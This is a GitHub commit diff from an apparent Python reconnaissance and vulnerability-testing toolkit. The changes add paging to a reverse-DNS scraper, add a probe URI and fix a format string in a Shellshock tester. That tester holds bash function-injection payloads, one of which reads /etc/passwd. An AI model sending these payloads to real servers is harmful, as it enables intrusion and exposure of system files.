Skip to content

Commit

Permalink
ZZchanged
Browse files Browse the repository at this point in the history
  • Loading branch information
xiao committed Oct 10, 2015
1 parent cc20539 commit 01d75d0
Show file tree
Hide file tree
Showing 5 changed files with 19 additions and 12 deletions.
24 changes: 15 additions & 9 deletions gather.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,15 +87,21 @@ def queryRDNS_old(domain):
def queryRDNS(domain):
hostInfos = socket.gethostbyname_ex(domain) #r = (hostname, aliaslist, ipaddrlist)
for ipaddr in hostInfos[2]:
try:
response = urllib2.urlopen('http://dns.aizhan.com/%s/' % (ipaddr))
text = response.read()
tree = etree.HTML(text)
nodes = tree.xpath(r"//td[@class='dns-links']/a/@href")
for node in nodes:
print node
except Exception, e:
print e

print '[IP Address: ' + ipaddr + ']'
# TODO: 加入翻页代码
for i in range(5): # 最多5页,需要更多到网页上去看
try:
response = urllib2.urlopen('http://dns.aizhan.com/%s/%d/' % (ipaddr, i))
text = response.read()
tree = etree.HTML(text)
nodes = tree.xpath(r"//td[@class='dns-links']/a/@href")
if len(nodes) == 0:
break
for node in nodes:
print node, getTitle(node)
except Exception, e:
print e


def toStr(l):
Expand Down
2 changes: 1 addition & 1 deletion tester/shock.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@

EXPLOIT1 = '() { :;};a=`/bin/cat /etc/passwd`;echo $a'
SLEEP_TIME = 7
EXPLOIT2 = '() { :;}; /bin/sleep %s' % SLEEP_TIME
EXPLOIT2 = '() { :;}; /bin/sleep %d' % SLEEP_TIME

#env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
#无漏洞的输出:
Expand Down
1 change: 1 addition & 0 deletions uris.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
/uc_server/control/admin/db.php
/source/plugin/myrepeats/table/table_myrepeats.php
/install/include/install_lang.php
/cgi-bin/test-cgi
2 changes: 1 addition & 1 deletion utils/__init__.py
Original file line number Diff line number Diff line change
@@ -1 +1 @@
__all__ = ['webutils', 'google']
__all__ = ['webutils', 'google', 'crawler']
2 changes: 1 addition & 1 deletion utils/webutils.py
Original file line number Diff line number Diff line change
Expand Up @@ -129,7 +129,7 @@ def getPageTitle(opener, url):
return ''

try:
if url[:7] != 'http://':
if url[:7] != 'http://' and url[:8] != 'https://':
url = 'http://' + url
req = urllib2.Request(url)
setupRequest(req)
Expand Down

0 comments on commit 01d75d0

Please sign in to comment.